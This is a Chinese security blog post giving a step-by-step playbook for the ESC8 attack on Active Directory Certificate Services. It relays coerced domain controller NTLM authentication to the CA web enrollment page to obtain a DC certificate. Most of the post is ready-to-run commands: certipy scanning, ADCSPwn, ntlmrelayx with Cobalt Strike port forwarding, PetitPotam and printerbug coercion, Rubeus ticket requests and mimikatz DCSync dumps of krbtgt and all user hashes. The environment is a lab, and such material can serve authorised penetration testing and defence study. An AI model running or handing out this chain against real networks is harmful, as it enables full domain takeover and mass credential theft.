Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

ADCS攻击之NTLM Relay攻击 ESC8

内网渗透 Adminxe 635℃ 0评论

漏洞简介

ADCS在默认安装的时候,其Web接口支持NTLM身份验证并且没有启用任何NTLM Relay保护措施。强制域控制器计算机帐户(DC$)向配置了NTLM中继的主机进行身份验证。身份验证被转发给证书颁发机构(CA)并提出对证书的请求。获取到了DC$的证书后就可以为用户/机器请求TGS/TGT票据,获取相应的权限。

curl http://192.168.11.12/certsrv/ -I

存在ntlm认证:

http://192.168.11.12/certsrv/certfnsh.asp

漏洞利用

# 探测是否存在漏洞
certipy find -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -vulnerable -stdout

certipy find -u zhang@attack.cn -p 321.com -dc-ip 192.168.11.11 -vulnerable -stdout

域内

# 待打,因为会使RPC临时性关闭,需要重启
​
execute-assembly ADCSPwn.exe --adcs ADCS.attack.cn --remote DC.attack.cn
​
ADCSPwn.exe --adcs ADCS.attack.cn --remote DC.attack.cn
CS:
execute-assembly Rubeus.exe asktgt /user:DC2012$ /certificate:<base64-certificate> /ptt
​
dcsync red.lab red\krbtgt
使用ADCSpwn打ESC8需要域控启用WebClient服务,默认是没有安装该功能的。 DC安装桌面体验重启即可:

域外

ntlmrelayx监听获取TGT
# 进行监听
#端口转发
PortBender redirect 445 8445
rportfwd_local 8445 127.0.0.1 8445
python3 ntlmrelayx.py -t http://192.168.11.12/certsrv/certfnsh.asp -smb2support --adcs --template DomainController --smb-port 8445
-------------------------------------------------------
python3 ntlmrelayx.py -t http://192.168.11.12/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'

将WIN10(域用户机器)的445端口流量备份到8445,然后将WIN10-8445端口转发到CS client端的8445端口,实战中还需要通过socks隧道用proxychains将relay的流量打入到目标环境。因为CS client是通目标IP的,就未作模拟。

# 进行强认证的连接,让域控强制来访问攻击机kali
# 通过监听获取到机器用户的TGT
python3 PetitPotam.py Relayip DCip
python3 PetitPotam.py 192.168.11.6 192.168.11.11
python3 PetitPotam.py -u '' -p '' 192.168.11.6 192.168.11.11

printerbug:
python3 printerbug.py attack/zhang:321.com@192.168.11.11 192.168.11.6
Rebeus 导入证书数据
1、CS操作:
​
Rubeus.exe asktgt /user:dc$ /certificate:xxxxxxxx /ptt
execute-assembly Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt
​
dcsync red.lab red\krbtgt
​
2、mimikatz操作
​
Rubeus.exe asktgt /user:dc$ /certificate:xxxxxxxx /ptt
​
mimikatz.exe
kerberos::list #查看kerberos票据
kerberos::purge #清空以前的票据
kerberos::ptt ticket.kirbi #导入票据
lsadump::dcsync /user:krbtgt /csv #导出krbtgt用户的hash
lsadump::dcsync /user:administrator /csv #导出administrator用户的hash
lsadump::dcsync /user:krbtgt /csv #导出krbtgt用户的hash
lsadump::dcsync /all /csv #导出全部用户的hash
​
Rubeus两种使用方式:
1、Rubeus获取到后,保存为ticket.kirbi,使用mimikatz进行导入票据进而利用
2、Rubeus获取到ticket后直接ptt,mimikatz可直接利用 (首选)

转载请注明:Adminxe's Blog » ADCS攻击之NTLM Relay攻击 ESC8

喜欢 (0)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址